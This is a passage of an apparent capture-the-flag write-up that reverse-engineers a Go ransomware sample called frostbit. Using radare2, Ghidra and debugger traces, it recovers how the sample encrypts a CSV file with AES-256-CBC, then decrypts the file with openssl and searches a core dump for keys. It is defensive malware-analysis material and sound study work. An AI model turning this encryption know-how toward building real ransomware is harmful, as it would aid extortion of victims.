│           0x006a297b      488d052c9d..   lea rax, [0x0072c6ae]       ; "naughty_nice_list.csvdecompression failureunsupported extensionX25519Kyber768Draft00invalid NumericStringx509: invalid versionafter top-level valuein string escape codereflect.Value.Complexhttp: nil Request.URLUNKNOWN_FRAME_TYPE_%dframe_ping_has_streamRoundTrip failure: %vUnhandled Setting: %vnet/http:"
│           0x006a2982      bb15000000     mov ebx, 0x15               ; rbx
│           ;-- rip:
│           0x006a2987 b    e8d4e3ffff     call sym.main.encryptFile
│           0x006a298c      4885c0         test rax, rax
│       ┌─< 0x006a298f      0f84de000000   je 0x6a2a73

Register R8 contains the length of the encryption key:

[0x006a2987]> dr r8
0x00000020

Register RSI is the address of the 32 byte encryption key, which is notably a hex string instead of binary, the consequences of which will be discussed later on:

[0x006a2987]> x 0x20 @ rsi
- offset -    6061 6263 6465 6667 6869 6A6B 6C6D 6E6F  0123456789ABCDEF
0xc0000ae060  6261 3463 6430 6534 3531 3662 6130 6434  ba4cd0e4516ba0d4
0xc0000ae070  6631 6430 6636 3361 3037 3936 3466 3931  f1d0f63a07964f91

[0x006a2987]> ps 0x20 @ rsi
ba4cd0e4516ba0d4f1d0f63a07964f91

7.2.2 Slices

The slice type is a dynamically-sized, flexible view into the elements of an array that has both a length, which is the current size, and a capacity, which is the maximum size. An example can be observed when stopping execution in radare2 at 0x006a0fed, just before crypto_cipher.NewCBCEncrypter is called:

[0x006a0fed]> pd-- 10
│           0x006a0fb2      488d05a73b..   lea rax, [0x006c4b60]
│           0x006a0fb9      4889cb         mov rbx, rcx
│           0x006a0fbc      0f1f4000       nop dword [rax]
│           0x006a0fc0      e87bd9dcff     call sym.runtime.makeslice
│           0x006a0fc5      4889842438..   mov qword [var_138h], rax
│           0x006a0fcd      488b9c2430..   mov rbx, qword [var_130h]
│           0x006a0fd5      488b8c2448..   mov rcx, qword [var_148h]
│           0x006a0fdd      bf10000000     mov edi, 0x10               ; rdi ; int64_t arg1
│           0x006a0fe2      4889fe         mov rsi, rdi                ; int64_t arg2
│           0x006a0fe5      488b842480..   mov rax, qword [var_80h]
│           ;-- rip:
│           0x006a0fed b    e84e83deff     call sym.crypto_cipher.NewCBCEncrypter
│           0x006a0ff2      488bb42418..   mov rsi, qword [var_118h]   ; int64_t arg4
│           0x006a0ffa      4c8b842420..   mov r8, qword [var_120h]    ; int64_t arg_18h
│           0x006a1002      4c8b8c2428..   mov r9, qword [var_128h]    ; int64_t arg_20h
│           0x006a100a      488b5020       mov rdx, qword [rax + 0x20] ; int64_t arg_8h
│           0x006a100e      4889d8         mov rax, rbx
│           0x006a1011      488b9c2438..   mov rbx, qword [var_138h]
│           0x006a1019      488b4c2478     mov rcx, qword [var_78h]
│           0x006a101e      4889cf         mov rdi, rcx
│           0x006a1021      ffd2           call rdx

Registers RCX, RDI and RSI collectively represent a slice:

  1. Register RDI is the length of the slice:

    [0x006a0fed]> dr rdi
    0x00000010
  2. Register RSI is the capacity of the slice, which in this case is the same as the length::

    [0x006a0fed]> dr rsi
    0x00000010
  3. Register RCX is the address of a 16 byte IV (initialization vector):

    [0x006a0fed]> dr rcx
    0xc0000a20b0
    
    [0x006a0fed]> x 0x10 @rcx
    - offset -    B0B1 B2B3 B4B5 B6B7 B8B9 BABB BCBD BEBF  0123456789ABCDEF
    0xc0000a20b0  9a06 511b ca26 9328 fa31 8f96 40f5 334a  ..Q..&.(.1..@.3J

7.3 Deferred functions

Go’s deferred functions allow registering a function that will be called when the calling function exits. An example can be seen in main.encryptFile where main.encryptFile.deferwrap1 is registered to ensure the encrypted file is closed before returning;

main.encryptFile defers execution of main.encryptFile.deferwrap1
main.encryptFile.deferwrap1 ensures the passed in file is closed, in this case the encrypted file

The disassembled code is littered with numerous blocks to seemingly support calling of the deferred function before exit by calling runtime.deferreturn, albeit I did not dig deeply into these blocks to confirm their function. Suffice to say these blocks and the corresponding control flow into their entry point makes static analysis more difficult and I therefore found debugging particularly invaluable for confirming control flow.

An example block that calls runtime.deferreturn, seemingly to support calling of deferred functions before exit

7.4 Public versus internal API

Go has a publicly documented API which differs from the internal API. For example, the various strings.Split functions are ultimately compiled into an internal ABI function called strings.genSplit:

Go compiles calls to strings.Split into calls to the internal strings.genSplit

Ultimately, this particular example may be an instance of functions being inlined for optimization purposes, as the strings.go source code indicates all strings.Split variants trivially delegate to strings.genSplit:

func SplitN(s, sep string, n int) []string { return genSplit(s, sep, 0, n) }

...

func SplitAfterN(s, sep string, n int) []string {
    return genSplit(s, sep, len(sep), n)
}

...

func Split(s, sep string) []string { return genSplit(s, sep, 0, -1) }

...

func SplitAfter(s, sep string) []string {
    return genSplit(s, sep, len(sep), -1)
}

8 Gotchas

8.1 Ghidra register confusion

Ghidra’s default configuration will assign labels to registers. This can result in very confusing disassembly. Registers by their nature can be used for multiple logical purposes throughout a block of assembly so assigning a constant label to them typically makes little sense. For example, in main.runit, Ghidra assigned the label &session to the RAX register but the register is referenced as the return value from the os.Getenv function call:

Ghidra assigned a label of &session to the RAX register by default in main.runit
Ghidra’s confusing assembly showing the &session label being used as the return value from os.Getenv

Ghidra was thus configured to disable labeling of registers via Edit->Tool Options->Options->Listing Fields->Operands Fields->Markup Register Variable References:

Ghidra configured to disable “Markup Register Variable References”

8.2 Ghidra local/stack variable confusion

Ghidra sometimes incorrectly labeled stack variables. For example, the argument registers RCX, RSI and RDI passed to crypto/rsa.EncryptPKCS1v15 were moved into stack variables msg.array, msg.cap and msg.len such that the registers seemingly corresponded to a msg slice:

Ghidra incorrectly labeled stack variables obtained from RCX, RSI and RDI registers

However, during debugging, it was deduced that the actual arguments were:

For example, with a breakpoint set at 0x006a2ad9 before crypto/rsa.EncryptPKCS1v15 is called, it was observed that RDI contains an AES-256 encryption key and a server side nonce, separated by a comma. This will be covered in more detail during the analysis section of this post.

[0x006a2ad9]> pd -11 @ rip +1
│           0x006a2aa9      488b15e0ca..   mov rdx, qword [obj.crypto_rand.Reader] ; [0x98f590:8]=0x7ad6c0 rdx ; int64_t arg4
│           0x006a2ab0      4c8b15e1ca..   mov r10, qword [0x0098f598] ; [0x98f598:8]=0xc000034040 r10
│           0x006a2ab7      4885c0         test rax, rax
│           0x006a2aba      488d3dbfe8..   lea rdi, obj.runtime.ebss   ; obj.internal_godebug.stderr
│                                                                      ; 0x9b1380
│           0x006a2ac1      480f45f8       cmovne rdi, rax             ; int64_t arg1
│           0x006a2ac5      4889d0         mov rax, rdx
│           0x006a2ac8      488b8c2430..   mov rcx, qword [arg_230h]
│           0x006a2ad0      4889de         mov rsi, rbx                ; int64_t arg2
│           0x006a2ad3      4989f0         mov r8, rsi
│           0x006a2ad6      4c89d3         mov rbx, r10
│           ;-- rip:
│           0x006a2ad9 b    e8a2ffe5ff     call sym.crypto_rsa.EncryptPKCS1v15

; slice length
[0x006a2ad9]> dr rsi
0x00000031

; slice capacity
[0x006a2ad9]> dr r8
0x00000031

; slice data to encrypt
[0x006a2ad9]> ps 0x31 @ rdi
ba4cd0e4516ba0d4f1d0f63a07964f91,5ba74ec61797f538

8.3 Function signature confusion

Ghidra, with the help of DWARF, displayed confusing function signatures that I was not clear on how to interpret. For example, the syscall.Environ function is shown with two [] string parameters annotated as Output parameters, allocated on the stack:

Ghidra shows the syscall.Environ function taking two [] string parameters allocated on the stack, used as output parameters

However, before the function returns, it actually uses registers RAX, RBX and RCX for its return values:

syscall.Environ actually returns its results via registers RAX, RBX and RCX

This was confirmed when looking at the instructions after the function is called:

The caller of syscall.Environ accesses the returned values via registers

In contrast, radare2 shows the same function taking a single int64_t arg1 argument:

[0x006a2258]> s sym.syscall.Environ
[0x0049b3e0]> pdb
            ; CODE XREF from sym.syscall.Environ @ 0x49b5c9(x)
            ; CALL XREF from sym.os.startProcess @ 0x4c1ce7(x)
            ; CALL XREF from sym.os_exec._Cmd_.environ @ 0x6843b7(x)
            ; CALL XREF from sym.main.runit @ 0x6a2243(x)
┌ 465: sym.syscall.Environ (int64_t arg1);
│ rg: 1 (vars 0, args 1)
│ bp: 0 (vars 0, args 0)
│ sp: 12 (vars 12, args 0)
│           0x0049b3e0      4c8d6424d8     lea r12, [rsp - 0x28]
│           0x0049b3e5      4d3b6610       cmp r12, qword [r14 + 0x10]
│       ┌─< 0x0049b3e9      0f86d5010000   jbe 0x49b5c4

Furthermore, the public syscall.Environ function has a signature as follows, taking 0 arguments and returning a [] string:

func Environ() []string

In the end, I largely ignored the signatures shown by Ghidra and radare2 but they are worthy of future investigation.

8.4 Local variables in abundance

Some functions like main.runit and main.getNonce reference a very large number of local stack variables, making detailed static analysis more difficult. Debugging in radare2 proved especially invaluable for understanding key variables. A custom label was then assigned in Ghidra.

Small subset illustrating the abundance of local stack variables referenced in main.runit

9 Analysis - core dump

Returning to frostbit_core_dump.14 which was briefly analyzed during analysis of ransomware_traffic.pcap, a view URL was found that was not present in the pcap file. Accessing and attacking the URL is required to complete the challenge but is largely out of scope of this reverse engineering writeup.

└─$ strings -10 frostbit_core_dump.14|grep -i api|grep view|sort -u
https://api.frostbit.app/view/hfD1USRg9MZ1yA/50b8521f-d748-4b16-b885-0f15fdfd953c/status?digest=19e000902a849d0a1c8619804190806e

Although the core dump proved to be useful for locating relevant strings, it appeared corrupted, as gdb would not recognize it:

└─$ gdb -q --exec=frostbit.elf --core=frostbit_core_dump.14
"REDACTED/frostbit_core_dump.14" is not a core dump: file format not recognized

Furthermore, whilst radare2 recognized the file as a core dump and parsed it to some extent, the registers were all null, except for rip.

└─$ radare2 frostbit_core_dump.14
ERROR: Cannot read more NOTES header from CORE
ERROR: Could not retrieve the names of all maps from NT_FILE
ERROR: Cannot read more NOTES header from CORE
ERROR: Could not retrieve the names of all maps from NT_FILE
WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
INFO: Setting up coredump arch-bits to: x86-64
INFO: Setting up coredump: 58 maps have been found and created
[0x00400000]> dr
rax = 0x00000000
rbx = 0x00000000
rcx = 0x00000000
rdx = 0x00000000
rsi = 0x00000000
rdi = 0x00000000
r8 = 0x00000000
r9 = 0x00000000
r10 = 0x00000000
r11 = 0x00000000
r12 = 0x00000000
r13 = 0x00000000
r14 = 0x00000000
r15 = 0x00000000
rip = 0x00400000
rbp = 0x00000000
rflags = 0x00000000
rsp = 0x00000000

Register rip was set to the virtual address of the first LOAD segment:

└─$ readelf --wide --segments frostbit_core_dump.14 | grep -A3 'Program Headers'
readelf: Error: Reading 3904 bytes extends past end of file for section headers
Program Headers:
  Type           Offset   VirtAddr           PhysAddr           FileSiz  MemSiz   Flg Align
  NOTE           0x65fb1d28 0x0000000000000000 0x0000000000000000 0x00a0c4 0x000000 R   0x1
  LOAD           0x000d28 0x0000000000400000 0x0000000000000000 0x2a5000 0x2a5000 R E 0x1

10 Analysis - frostbit.elf

10.1 Examining file command output in detail

The file command was previously run but not examined in detail:

└─$ file frostbit.elf
frostbit.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=twFnsUORqqujpF2IKOpc/fGToVu04lOziSdznrxR4/fBxGnDHL6jeZzih8PnXE/rTwd9D0xXFzB6_Ua8NW1, with debug_info, not stripped

The output indicates the following:

The last point is interesting because Go applications have a reputation of being statically linked. Examining the linked libraries indicates the shared libraries are minimal, comprised solely of the core c library:

└─$ objdump -p frostbit.elf | grep NEEDED
  NEEDED               libc.so.6

Incidentally, objdump was used instead of ldd as it is safer for untrusted executables, as documented by the ldd man page. However, for completeness and since frostbit.elf should be safe and analysis was conducted in a VM, ldd was also executed, illustrating the only other dependencies are the loader, /lib64/ld-linux-x86-64.so.2 and linux-vdso.so.1, the latter of which is mapped into the address space of all user-space applications:

└─$ ldd frostbit.elf
        linux-vdso.so.1 (0x00007f52c3440000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f52c322a000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f52c3442000)

In contrast, all Go libraries are statically linked. For example, the binary contains the code from Go’s cipher.go:

└─$ go tool objdump frostbit.elf|grep -A10 -i 'newcipher' | head -10
TEXT crypto/aes.NewCipher(SB) /usr/local/go/src/crypto/aes/cipher.go
  cipher.go:34          0x497580                493b6610                CMPQ SP, 0x10(R14)
  cipher.go:34          0x497584                7647                    JBE 0x4975cd
  cipher.go:34          0x497586                55                      PUSHQ BP
  cipher.go:34          0x497587                4889e5                  MOVQ SP, BP
  cipher.go:34          0x49758a                4883ec18                SUBQ $0x18, SP
  cipher.go:34          0x49758e                4889442428              MOVQ AX, 0x28(SP)
  cipher.go:39          0x497593                4883fb10                CMPQ BX, $0x10
  cipher.go:39          0x497597                740d                    JE 0x4975a6
  cipher.go:39          0x497599                4883fb18                CMPQ BX, $0x18

Another aspect is the Go compiler will sometimes inline code, presumably for optimization purposes. Below we can see the user defined main.main function contains code from Go’s error.go. This complicates static analysis because there is no indication in the disassembly itself that the code is inlined. When reverse engineering for the purposes of comprehension, code from the standard Go libraries that is inlined typically has less significance than custom code.

└─$ go tool objdump frostbit.elf|grep -A25 -i 'main.main' | head -25
TEXT main.main(SB) REDACTED/frostbit.go
  frostbit.go:468       0x6a3c60                493b6610                CMPQ SP, 0x10(R14)
  frostbit.go:468       0x6a3c64                0f86fc000000            JBE 0x6a3d66
  frostbit.go:468       0x6a3c6a                55                      PUSHQ BP
  frostbit.go:468       0x6a3c6b                4889e5                  MOVQ SP, BP
  frostbit.go:468       0x6a3c6e                4883ec48                SUBQ $0x48, SP
  frostbit.go:469       0x6a3c72                e8a9e5ffff              CALL main.runit(SB)
  frostbit.go:469       0x6a3c77                84c0                    TESTL AL, AL
  frostbit.go:469       0x6a3c79                0f84c9000000            JE 0x6a3d48
  frostbit.go:469       0x6a3c7f                90                      NOPL
  frostbit.go:470       0x6a3c80                e8bb4bd7ff              CALL runtime.GC(SB)
  frostbit.go:472       0x6a3c85                488d051a370800          LEAQ 0x8371a(IP), AX
  frostbit.go:472       0x6a3c8c                bb06000000              MOVL $0x6, BX
  frostbit.go:472       0x6a3c91                e86a1be2ff              CALL os.Stat(SB)
  error.go:91           0x6a3c96                488b05d3b92e00          MOVQ os.ErrNotExist(SB), AX
  error.go:91           0x6a3c9d                488b15d4b92e00          MOVQ os.ErrNotExist+8(SB), DX
  error.go:91           0x6a3ca4                4889fb                  MOVQ DI, BX
  error.go:91           0x6a3ca7                4889d7                  MOVQ DX, DI
  error.go:91           0x6a3caa                4889c2                  MOVQ AX, DX
  error.go:91           0x6a3cad                4889c8                  MOVQ CX, AX
  error.go:91           0x6a3cb0                4889d1                  MOVQ DX, CX
  error.go:91           0x6a3cb3                e8e8d8e1ff              CALL os.underlyingErrorIs(SB)
  error.go:91           0x6a3cb8                84c0                    TESTL AL, AL
  frostbit.go:472       0x6a3cba                757d                    JNE 0x6a3d39
  frostbit.go:474       0x6a3cbc                48833d04bc2e0000        CMPQ os.Args+8(SB), $0x0

Static linking is also why Go binaries tend to be significantly larger than dynamically linked C binaries:

-rwxrwxrwx 1 REDACTED REDACTED 8.2M Dec 26 00:02 frostbit.elf

10.2 Entry point identification

Executable Go programs typically start with the main function in the main package, which in this case simply delegates to main.runit:

The main.main function simply delegates to main.runit

However, the actual entry point of the executable is 0x475d80:

└─$ readelf -h frostbit.elf|grep -i entry
  Entry point address:               0x475d80
frostbit.elf entry point

There is a significant number of instructions implementing the Go runtime - not shown here - before main.main is finally called:

Call to main.main

It should also be noted that Go supports one or more init functions that can run before main.main. However, the binary contains no such functions:

[0x006a2987]> afl|grep main.init

10.3 AES-256-CBC Encryption

naughty_nice_list.csv is encrypted using AES-256, albeit the 32 byte key actually only has 16 bytes of entropy. The process is as follows.

main.runit calls main.generateKey:

main.runit calls main.generateKey

Within main.generateKey, a 16 byte key is securely generated by calling crypto/rand.Read:

main.generateKey securely generates a 16 byte key

The value of the key can be confirmed by setting a breakpoint at 0x006a0c78 in radare2:

[0x006a0c78]> pdb
│           0x006a0c4a      55             push rbp
│           0x006a0c4b      4889e5         mov rbp, rsp
│           0x006a0c4e      4883ec20       sub rsp, 0x20
│           0x006a0c52      488d05073f..   lea rax, [0x006c4b60]
│           0x006a0c59      bb10000000     mov ebx, 0x10               ; r8
│           0x006a0c5e      4889d9         mov rcx, rbx                ; int64_t arg_18h
│           0x006a0c61      e8dadcdcff     call sym.runtime.makeslice
│           0x006a0c66      4889442418     mov qword [var_18h], rax
│           0x006a0c6b      bb10000000     mov ebx, 0x10               ; r8
│           0x006a0c70      4889d9         mov rcx, rbx                ; int64_t arg_18h
│           0x006a0c73      e868d0e5ff     call sym.crypto_rand.Read
│           ;-- rip:
│           0x006a0c78 b    4885db         test rbx, rbx
│       ┌─< 0x006a0c7b      7521           jne 0x6a0c9e

The 16 byte encryption key is returned on the stack:

[0x006a0c78]> afvd var_18h
pf q @ rsp+0x18

[0x006a0c78]> pf q @ rsp+0x18
0xc0001438f0 = (qword)0x000000c0000a2090

[0x006a0c78]> x 16 @ 0x000000c0000a2090
- offset -    9091 9293 9495 9697 9899 9A9B 9C9D 9E9F  0123456789ABCDEF
0xc0000a2090  ba4c d0e4 516b a0d4 f1d0 f63a 0796 4f91  .L..Qk.....:..O.

Later in main.runit, a call to main.encryptFile is made to encrypt naughty_nice_list.csv into naughty_nice_list.csv.frostbit:

main.runit calls main.encryptFile to encrypt naughty_nice_list.csv

Debugging in radare2 confirmed the encryption key passed to main.encryptFile matched the 16 bytes generated by main.generateKey but converted to a 32 byte ASCII hex representation. Therefore, although the key is 32 bytes long, it only has 16 bytes of entropy.

[0x006a2987]> pdb
│           ; CODE XREF from sym.main.runit @ 0x6a2935(x)
│           0x006a2965      4889c1         mov rcx, rax
│           0x006a2968      4889df         mov rdi, rbx                ; int64_t arg1
│           0x006a296b      488bb42450..   mov rsi, qword [arg_250h]   ; int64_t arg2
│           0x006a2973      4c8b8424f8..   mov r8, qword [arg_f8h]
│           0x006a297b      488d052c9d..   lea rax, [0x0072c6ae]       ; "naughty_nice_list.csvdecompression failureunsupported extensionX25519Kyber768Draft00invalid NumericStringx509: invalid versionafter top-level valuein string escape codereflect.Value.Complexhttp: nil Request.URLUNKNOWN_FRAME_TYPE_%dframe_ping_has_streamRoundTrip failure: %vUnhandled Setting: %vnet/http:"
│           0x006a2982      bb15000000     mov ebx, 0x15               ; rbx
│           ;-- rip:
│           0x006a2987 b    e8d4e3ffff     call sym.main.encryptFile
│           0x006a298c      4885c0         test rax, rax
│       ┌─< 0x006a298f      0f84de000000   je 0x6a2a73

; "naughty_nice_list.csv" length
[0x006a2987]> dr rbx
0x00000015

; "naughty_nice_list.csv"
[0x006a2987]> ps 0x15 @ rax
naughty_nice_list.csv

; "naughty_nice_list.csv.frostbit" length
[0x006a2987]> dr rdi
0x0000001e

; "naughty_nice_list.csv.frostbit"
[0x006a2987]> ps 0x1e @ rcx
naughty_nice_list.csv.frostbit

; encryption key length
[0x006a2987]> dr r8
0x00000020

; encryption key address
[0x006a2987]> dr rsi
0xc0000ae060

; encryption key is actually ASCII hex, not the original raw 16 bytes
[0x006a2987]> x 0x20 @ 0xc0000ae060
- offset -    6061 6263 6465 6667 6869 6A6B 6C6D 6E6F  0123456789ABCDEF
0xc0000ae060  6261 3463 6430 6534 3531 3662 6130 6434  ba4cd0e4516ba0d4
0xc0000ae070  6631 6430 6636 3361 3037 3936 3466 3931  f1d0f63a07964f91

[0x006a2987]> ps 0x20 @ 0xc0000ae060
ba4cd0e4516ba0d4f1d0f63a07964f91

Within main.encryptFile, a 16 byte IV (Initialization Vector) is generated by another call to crypto/rand.Read:

main.encryptFile generates a 16 byte IV (Initialization Vector)

The IV was viewed during debugging:

[0x006a0e91]> pdb
│           0x006a0e68      488d05f13c..   lea rax, [0x006c4b60]
│           0x006a0e6f      bb10000000     mov ebx, 0x10               ; r8
│           0x006a0e74      4889d9         mov rcx, rbx                ; int64_t arg_18h
│           0x006a0e77      e8c4dadcff     call sym.runtime.makeslice
│           0x006a0e7c      4889842448..   mov qword [var_148h], rax
│           0x006a0e84      bb10000000     mov ebx, 0x10               ; r8
│           0x006a0e89      4889d9         mov rcx, rbx                ; int64_t arg_18h
│           0x006a0e8c      e84fcee5ff     call sym.crypto_rand.Read
│           ;-- rip:
│           0x006a0e91 b    4885db         test rbx, rbx
│       ┌─< 0x006a0e94      0f8564030000   jne 0x6a11fe

[0x006a0e91]> afvd var_148h
pf q @ rsp+0x148

[0x006a0e91]> pf q @ rsp+0x148
0xc0001438c0 = (qword)0x000000c0000a20b0

; 16 byte IV
[0x006a0e91]> x 0x10 @ 0x000000c0000a20b0
- offset -    B0B1 B2B3 B4B5 B6B7 B8B9 BABB BCBD BEBF  0123456789ABCDEF
0xc0000a20b0  9a06 511b ca26 9328 fa31 8f96 40f5 334a  ..Q..&.(.1..@.3J

crypto/aes.NewCipher is subsequently called to create a cipher.Block. Since the ASCII hex key is 32 bytes long, AES-256 is being used:

crypto/aes.NewCipher called to create an AES-256 cipher.Block

The 32 byte ASCII hex key was confirmed to be passed to crypto/aes.NewCipher in radare2:

[0x006a0eac]> pdb
│           0x006a0e9a      488b842410..   mov rax, qword [var_110h]
│           0x006a0ea2      488b5c2468     mov rbx, qword [var_68h]
│           0x006a0ea7      488b4c2470     mov rcx, qword [var_70h]    ; int64_t arg_18h
│           ;-- rip:
│           0x006a0eac b    e8cf66dfff     call sym.crypto_aes.NewCipher
│           0x006a0eb1      4885c9         test rcx, rcx
│       ┌─< 0x006a0eb4      0f8513030000   jne 0x6a11cd

; encryption key slice length
[0x006a0eac]> dr rbx
0x00000020

; encryption key slice capacity
[0x006a0eac]> dr rcx
0x00000020

; encryption key
[0x006a0eac]> dr rax
0xc0001437b7
[0x006a0eac]> x 0x20 @ rax
- offset -    B7B8 B9BA BBBC BDBE BFC0 C1C2 C3C4 C5C6  789ABCDEF0123456
0xc0001437b7  6261 3463 6430 6534 3531 3662 6130 6434  ba4cd0e4516ba0d4
0xc0001437c7  6631 6430 6636 3361 3037 3936 3466 3931  f1d0f63a07964f91
[0x006a0eac]> ps 0x20 @ rax
ba4cd0e4516ba0d4f1d0f63a07964f91

The IV slice is later passed to crypto/cipher.NewCBCEncrypter in registers RCX, RDI and RSI. The use of NewCBCEncrypter tells us that the CBC encryption mode is being used. In other words, naughty_nice_list.csv is being encrypted using AES-256-CBC.

The 16 byte IV was confirmed to be passed to crypto/cipher.NewCBCEncrypter in radare2:

[0x006a0fed]> pd -7 @ rip +1
│           0x006a0fc5      4889842438..   mov qword [var_138h], rax
│           0x006a0fcd      488b9c2430..   mov rbx, qword [var_130h]
│           0x006a0fd5      488b8c2448..   mov rcx, qword [var_148h]
│           0x006a0fdd      bf10000000     mov edi, 0x10               ; rsi ; int64_t arg1
│           0x006a0fe2      4889fe         mov rsi, rdi                ; int64_t arg2
│           0x006a0fe5      488b842480..   mov rax, qword [var_80h]
│           ;-- rip:
│           0x006a0fed b    e84e83deff     call sym.crypto_cipher.NewCBCEncrypter

; IV length
[0x006a0fed]> dr rdi
0x00000010

; IV slice capacity
[0x006a0fed]> dr rsi
0x00000010

; IV bytes: generated by previous call sym.crypto_rand.Read
[0x006a0fed]> dr rcx
0xc0000a20b0
[0x006a0fed]> x 0x10 @ rcx
- offset -    B0B1 B2B3 B4B5 B6B7 B8B9 BABB BCBD BEBF  0123456789ABCDEF
0xc0000a20b0  9a06 511b ca26 9328 fa31 8f96 40f5 334a  ..Q..&.(.1..@.3J

The IV and encrypted data are written to naughty_nice_list.csv.frostbit, with the latter write occurring at 0x006a10d5:

[0x006a10d5]> pdb
│           0x006a10b8      488b8424f0..   mov rax, qword [var_f0h]
│           0x006a10c0      488b9c2438..   mov rbx, qword [var_138h]
│           0x006a10c8      488b4c2478     mov rcx, qword [var_78h]    ; int64_t arg_10h
│           0x006a10cd      4889cf         mov rdi, rcx                ; int64_t arg1
│           0x006a10d0      e80b1be2ff     call sym.os._File_.Write
│           ;-- rip:
│           0x006a10d5 b    4885db         test rbx, rbx
│       ┌─< 0x006a10d8      754b           jne 0x6a1125

At this point, naughty_nice_list.cvs.frostbit was examined, confirming the first 16 bytes are the IV:

└─$ xxd naughty_nice_list.csv.frostbit
00000000: 9a06 511b ca26 9328 fa31 8f96 40f5 334a  ..Q..&.(.1..@.3J
00000010: 0d92 0f3a 39dd 5c85 b02d 0b5d 8ec5 336b  ...:9.\..-.]..3k
00000020: 2063 d367 0364 cbc7 aaf5 3660 1f85 b24e   c.g.d....6`...N

10.4 AES-256-CBC - Confirming using openssl

openssl was used to confirm naughty_nice_list.csv.frostbit was encrypted using AES-256-CBC by decrypting the file using the observed encryption key:

  1. Using the IV observed during debugging

    └─$ openssl enc -d -aes-256-cbc -K "$(echo -n ba4cd0e4516ba0d4f1d0f63a07964f91|xxd -p -c0)" -iv "$(echo -n '9a06 511b ca26 9328 fa31 8f96 40f5 334a'|tr -d ' ')" -in <(tail -c +17 naughty_nice_list.csv.frostbit) -out decrypt-maybe.csv
    
    └─$ cat decrypt-maybe.csv
    AAAAAAAAAAAAAAAA
    
    └─$ cmp decrypt-maybe.csv naughty_nice_list.csv
  2. Using the IV stripped from the first 16 bytes of naughty_nice_list.csv.frostbit:

    └─$ openssl enc -d -aes-256-cbc -K "$(echo -n ba4cd0e4516ba0d4f1d0f63a07964f91|xxd -p -c0)" -iv "$(head -c16 naughty_nice_list.csv.frostbit|xxd -p)" -in <(tail -c +17 naughty_nice_list.csv.frostbit) -out decrypt-maybe.csv
    
    └─$ cat decrypt-maybe.csv
    AAAAAAAAAAAAAAAA
    
    └─$ cmp decrypt-maybe.csv naughty_nice_list.csv

10.5 AES-256-CBC - Confirming the core dump does not contain the key

Since the encryption key is actually a 32 byte, lowercase ASCII hex key instead of raw bytes, the core dump can be searched for potential encryption keys using a regex. rafind2 was used to perform the search:

└─$ rafind2 -e '/[a-f0-9]{32}/' -Z frostbit_core_dump.14 > frostbit_core_dump_32_hex_chars_strings.rafind2

A bash script, check_aeskey_candidates.sh, was written to filter the results further, omitting any results that were a substring of frostbit-tls.keylog, encrypted-key-from-pcap.json or DoNotAlterOrDeleteMe.frostbit.json:

└─$ cat check_aeskey_candidates.sh
#/bin/bash

cat frostbit_core_dump_32_hex_chars_strings.rafind2 | while read result ; do
    key_candidate=$(echo "$result" | cut -d " " -f 2)
    if grep "$key_candidate" frostbit-tls.keylog encrypted-key-from-pcap.json DoNotAlterOrDeleteMe.frostbit.json > /dev/null ; then
        :
    else
        echo "Potential key: $result"
    fi
done

The script was run and the remaining candidates written to remaining_aeskey_candidates.txt:

└─$ bash check_aeskey_candidates.sh|tee remaining_aeskey_candidates.txt
Potential key: 0x2ab1f1 0001123333333333444444444455666677777888888888889999999999::::::;;;;;;;;;;;;;;;;<<<<<<<<<<<<<<<<=====>>>>>>>>>>>??????????@@@@@
Potential key: 0x3301a0 dedd3af119babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728','nonce':''}
Potential key: 0x3301c0 eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728','nonce':''}
Potential key: 0x3301e0 306059eeb451960007c2ec7be371a007f43662728','nonce':''}
Potential key: 0x3c09b9 9babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728'
Potential key: 0x3c09d9 9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728'
Potential key: 0x3c09f9 451960007c2ec7be371a007f43662728'
Potential key: 0x3c0aa3 19e000902a849d0a1c8619804190806e','status':'Key Set','statusid':'hfD1USRg9MZ1yA'}
Potential key: 0x3c0e35 64b6d7297e5dedd3af119babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728','nonce':'
Potential key: 0x3c0e55 9a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728','nonce':''}
Potential key: 0x3c0e75 525ba96276b306059eeb451960007c2ec7be371a007f43662728','nonce':''}
Potential key: 0x3c12a0 0a3f464b6d7297e5dedd3af119babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728','non
Potential key: 0x3c12c0 c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728','nonce':''}
Potential key: 0x3c12e0 0c56b525ba96276b306059eeb451960007c2ec7be371a007f43662728','nonce':''}
Potential key: 0x438498 9babe92c2ef29a72d33fda6eb3e6563b9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f436627285b8546280e8783997c05f3de970d425
Potential key: 0x4384b8 9464b200c56b525ba96276b306059eeb451960007c2ec7be371a007f436627285b8546280e8783997c05f3de970d4259693a105d813ea8e12ec0904a184fdd0
Potential key: 0x4384d8 451960007c2ec7be371a007f436627285b8546280e8783997c05f3de970d4259693a105d813ea8e12ec0904a184fdd0a0e63de6649375b61d5d28aaf57292df
Potential key: 0x4f3d88 6666666666666666666666666666666666666666666666666666666666666666'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Potential key: 0x4f3da8 66666666666666666666666666666666''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Potential key: 0x4f3e68 66666666666666666666666666666666o
Potential key: 0x4f3ee8 666666666666666666666666666666663zI
Potential key: 0x4f3fa8 66666666666666666666666666666666
Potential key: 0x4f4027 e66666666666666666666666666666666bi/
Potential key: 0x4f40a7 e66666666666666666666666666666666bi/
Potential key: 0x4f4168 66666666666666666666666666666666
Potential key: 0x4f41e8 66666666666666666666666666666666A
Potential key: 0x4f4268 66666666666666666666666666666666A
Potential key: 0x4f4368 66666666666666666666666666666666
